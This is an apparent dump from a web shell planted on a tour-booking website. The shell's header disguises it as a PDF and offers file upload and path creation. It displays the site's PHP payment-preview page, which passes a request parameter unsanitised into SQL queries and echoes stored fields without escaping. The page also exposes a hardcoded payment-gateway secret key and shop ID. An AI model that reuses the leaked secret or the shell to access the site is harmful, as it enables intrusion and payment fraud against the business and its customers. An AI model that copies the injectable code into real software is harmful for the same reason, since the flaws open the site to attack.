%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/buggydubrovnik.com/bookingv2/
Upload File :
Create Path :
Current File : /var/www/html/buggydubrovnik.com/bookingv2/preview.php

<?php
include($_SERVER["DOCUMENT_ROOT"]."/bookingv2/functions.php");

if(!isset($_GET["id"])) die("No ID was submitted");
$db=getDB();
$res=$db->query("SELECT * FROM rezervacija_temp WHERE id_rezervacija_temp=$_GET[id]");

if($res->num_rows==0){
    die("Couldn't find the reservation.");
}
$r=$res->fetch_assoc();
$tour=$db->query("SELECT it.* FROM izlet_tip it JOIN izlet_termin t ON t.id_izlet_tip=it.id_izlet_tip WHERE t.id_izlet_termin=$r[id_izlet_termin]")->fetch_assoc();

if($r["placeno"]){
    die("This reservation has already been paid for.");
}



$title = $r["title"];
$CustomerFirstname = $r["ime"];
$CustomerSurname = $r["prezime"];
$CustomerAddress = $r["adresa"];
$CustomerCity = $r["grad"];
$CustomerZIP = $r["zip"];
$CustomerPhone =$r["telefon"];
$CustomerEmail =$r["mail"];
//DRZAVA JE ID!!
$drzavaID=$r["id_drzava"];
$drzava=$db->query("SELECT * FROM drzava WHERE id_drzava=".$drzavaID)->fetch_assoc();
$CustomerCountry=$drzava["naziv"];



$ShopId=10001428;
$SecretKey="xIj78UUpQ0J78+eTHR]m|p6?p";

$price=$tour["cijena"];

$termin=$r["vrijeme_izleta"];

$TotalAmount=$priceWithoutDiscount=$r["cijena_odrasli"];

$gateWay="https://pgw.ht.hr/services/payment/api/authorize-form";
$naziv="Buggy Group Tour";



$totalHRK=round($TotalAmount*7.5345, 2);

if(date("Y")<2023){
    $TotalAmountV2=($totalHRK)*100;

}
else {
    $TotalAmountV2=($TotalAmount)*100;
}




$ShoppingCartId=$r["id_rezervacija_temp"];
$Signature="";


$failURL="https://www.buggydubrovnik.com/booking-preview?id=$ShoppingCartId";
$successURL="https://www.buggydubrovnik.com/thank-you/";

$Signature = openssl_digest("authorize-form".$SecretKey.$ShopId.$SecretKey.$ShoppingCartId.$SecretKey.$TotalAmountV2.$SecretKey."1".$SecretKey."en".$SecretKey."GET".$SecretKey.$successURL.$SecretKey.$failURL.$SecretKey.$CustomerFirstname.$SecretKey.$CustomerSurname.$SecretKey.$CustomerAddress.$SecretKey.$CustomerCity.$SecretKey.$CustomerZIP.$SecretKey.$CustomerCountry.$SecretKey.$CustomerPhone.$SecretKey.$CustomerEmail.$SecretKey."1".$SecretKey, "SHA512");


$datParts=explode(" ", $termin);

$termin=date("d.M.Y H:i", strtotime($termin));

?>
    <style>
        #datum {
            max-width: 250px;
        }
        .drzave{width: 400px;}
        iframe{border: 1px solid #d2d2d2;width:100%; height:200px; overflow:scroll;}
        .section.group {
            width: 90%;
            margin: 0 auto;
            max-width: 500px;
        }
        .section.group input {
            max-width: 400px;
        }
        textarea {
            width: 400px;
            height: 150px;
        }
        input, select, option, textarea {
            color:black!important;
            padding: 0.2em;
        }
        @media only screen and (max-width: 800px){
            iframe{-webkit-overflow-scrolling:touch}
            .section.group {width: 100%}
            textarea {width: 100%;}
            .drzave{width: 100%;}

        }
        h2 {
            color: #f58220!important;
            font-size: 1.7em!important;
        }

    </style>

    <div id="wrapper">
        <div id="maincontentcontainer">
            <div id="maincontent">
                <div class="section group">
                    <?php if(isset($_GET["pgw_result_code"])){?>
                    <div class="error" style="color:red; font-weight: 700;">
                        Something went wrong while trying to pay for your reservation. <br>
                        You may try checking the funds card or using another card. <br>
                        If the problem persists, please <a href="http://www.buggydubrovnik.com/contact-us">contact us directly</a>.

                    </div>
                    <?php } ?>

                    <div id="naslov1">
                        <h1 style="margin-bottom:25px; text-transform:uppercase">You're just a click away from your adventure!</h1>
                    </div>
                </div>

                <div class="section group" style="margin-bottom:25px; margin-top:5px; background-color:#003; height:2px;"></div>

                <div class="section group"  style="margin-bottom:25px;"> <b>PLEASE CHECK SUBMITTED DATA ONE MORE TIME:</b></div>
                <form name="f1" id="forma" style="font-weight:normal; text-align:left"   action="<?=$gateWay?>" method=POST>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">Excursion: </div><div class="col span_3_of_4"><input readonly class="inputtekst" name="nazivizlet" type="text" value="<?php echo $naziv; ?>" /></div></div>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">Price per <?=$tour["privatni"]?"buggy":"person"?>:</div><div class="col span_3_of_4"><b><?php echo formatMoney($price); ?> EUR </b>
                            <br> (<?=formatMoney($tour["cijena_hrk"])?> HRK)<!-- -$price*0.2,2-->
                        </div>
                    </div>

                    <div class="section group" style="margin-bottom:5px; margin-top:15px; background-color:#003; height:2px;"></div>
                    <div class="section group" style="margin-bottom:5px;"><strong> PERSONAL DATA</strong> </div>
                    <div class="section group" style="margin-bottom:15px; margin-top:5px; background-color:#003; height:2px;"></div>

                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">Title: </div><div class="col span_3_of_4">
                            <input class="inputtekst" name="title"  type="text" readonly style="width:75px;"  value="<?php echo $title; ?>"/>
                        </div></div>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">First name : </div><div class="col span_3_of_4"><input class="inputtekst" name="pgw_first_name" type="text" readonly value="<?php echo $CustomerFirstname; ?>" /></div></div>

                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">Last name : </div><div class="col span_3_of_4"><input class="inputtekst" name="pgw_last_name" type="text" readonly  value="<?php echo $CustomerSurname ; ?>" /></div></div>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">Address :</div><div class="col span_3_of_4"><input class="inputtekst" name="pgw_street" type="text" readonly value="<?php echo $CustomerAddress; ?>" /></div></div>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">City :</div><div class="col span_3_of_4"><input class="inputtekst" name="pgw_city" type="text" readonly value="<?php echo $CustomerCity; ?>" /></div></div>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">ZIP Code :</div><div class="col span_3_of_4"><input class="inputtekst" name="pgw_post_code" type="text" readonly  value="<?php echo $CustomerZIP; ?>" /></div></div>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">Country :</div><div class="col span_3_of_4"><input class="inputtekst drzave" name="pgw_country" type="text" readonly value="<?php echo $CustomerCountry; ?>" /></div></div>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4"> Telephone : </div><div class="col span_3_of_4"><input class="inputtekst" name="pgw_telephone" type="text" readonly value="<?php echo $CustomerPhone; ?>" /></div></div>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4"> E-mail : </div><div class="col span_3_of_4"><input class="inputtekst" name="pgw_email" type="text" readonly value="<?php echo $CustomerEmail; ?>" /></div></div>



                    <input type="hidden" name="pgw_failure_url" value="<?=$failURL?>">
                    <input type="hidden" name="pgw_success_url" value="<?=$successURL?>">
                    <input type="hidden" name="pgw_shop_id" value="<?=$ShopId?>">
                    <input type="hidden" name="pgw_order_id" value="<?=$ShoppingCartId ?>">
                    <input type="hidden" name="pgw_amount" value="<?php echo $TotalAmountV2 ?>">
                    <input type="hidden" name="pgw_authorization_type" value="1">
                    <input type="hidden" name="pgw_language" value="en">
                    <input type="hidden" name="pgw_return_method" value="GET">
                    <input type="hidden" name="pgw_signature" value="<?php echo $Signature ?>">
                    <input type="hidden" name="pgw_disable_installments" value="1">
                    <input type="hidden" name="DebugMode" value="on">



                    <div class="section group" style="margin-bottom:5px; margin-top:15px; background-color:#003; height:2px;"></div>
                    <div class="section group" style="margin-bottom:5px;"><strong> Excursion data</strong> </div>


                    <div class="section group" style="margin-bottom:15px; margin-top:5px; background-color:#003; height:2px;"></div>

                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">
                            Date &amp; Time :</div> <div class="col span_3_of_4">    <input class="inputtekst" name="odkad" type="text" readonly  value="<?=$termin?>"/>


                        </div></div>


                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">   Number of guests: </div><div class="col span_3_of_4">
                            <input class="inputtekst" name="odrasli" type="text" readonly  value="<?=intval($r["odrasli"])?>" />
                        </div></div>

                    <?php if($tour["privatni"]){ ?>
                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">   Pickup location: </div><div class="col span_3_of_4">
                            <input class="inputtekst" name="pickup_location" type="text" readonly  value="<?=($r["pickup_location"])?>" />
                        </div></div>
                    <?php } ?>
                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">   Comment:</div><div class="col span_3_of_4">
                            <textarea class="inputtekst" style="width:100%; font-family:Arial, Helvetica, sans-serif; min-height:100px; text-align:left;" name="komentar" readonly><?=$r["napomena_gost"]?></textarea>
                        </div></div>



                    <div class="section group" style="margin-bottom:5px;">
                        <div class="col span_1_of_4">   <b>TOTAL AMOUNT </b></div><div class="col span_3_of_4">
                            <input class="inputtekst" type="text" readonly style="  text-align:left; font-weight:bold;" name="iznostotal" value="<?php echo formatMoney($TotalAmount); ?> EUR (<?=formatMoney($totalHRK)?> HRK)" /> <!---$priceWithoutDiscount*0.2,2 -->
                        </div></div>

                    <div class="section group" style="margin-bottom:5px;">
                        <br /> <img src="https://www.buggydubrovnik.com/wp-content/uploads/2017/03/backicon.png" style="border:none; cursor:pointer;vertical-align:middle " onclick="history.go(-1)" /> <a style="vertical-align: middle;margin-left: 0.5em;color:black; font-size:1.2em;" >GO BACK AND CHANGE DETAILS</a><br /><br /></div>


                    <div class="section group" style="margin-bottom:5px;"><b>NOTE</b>:<br />
                        We recommend booking and paying online - Your place is then guaranteed!<br /> Due to restricted number of people on each tour/excursion it's best to reserve Your place as soon as possible.</div>


                    <div class="section group" style="margin-bottom:5px; margin-top:15px; ">
                        <input class="fusion-button button-3d button-round button-xlarge button-orange button-1" type="submit" value="CONTINUE TO SECURE PAY ONLINE"   onclick="return true;" style="font-size:0.9em; cursor:pointer; padding-top:10px; padding-bottom:10px; height:50px;"  /> </div>
                    <div class="section group" style="margin-bottom:5px; text-align:center; margin-top:5px;"><br /><img src="https://www.buggydubrovnik.com/wp-content/uploads/2017/03/trust.png" /> <img src="https://www.buggydubrovnik.com/wp-content/uploads/2017/03/karticebig.png" /> <img src="https://www.buggydubrovnik.com/wp-content/uploads/2017/03/trcom.png" /></div>

                </form>

            </div>
        </div>
    </div>






Zerion Mini Shell 1.0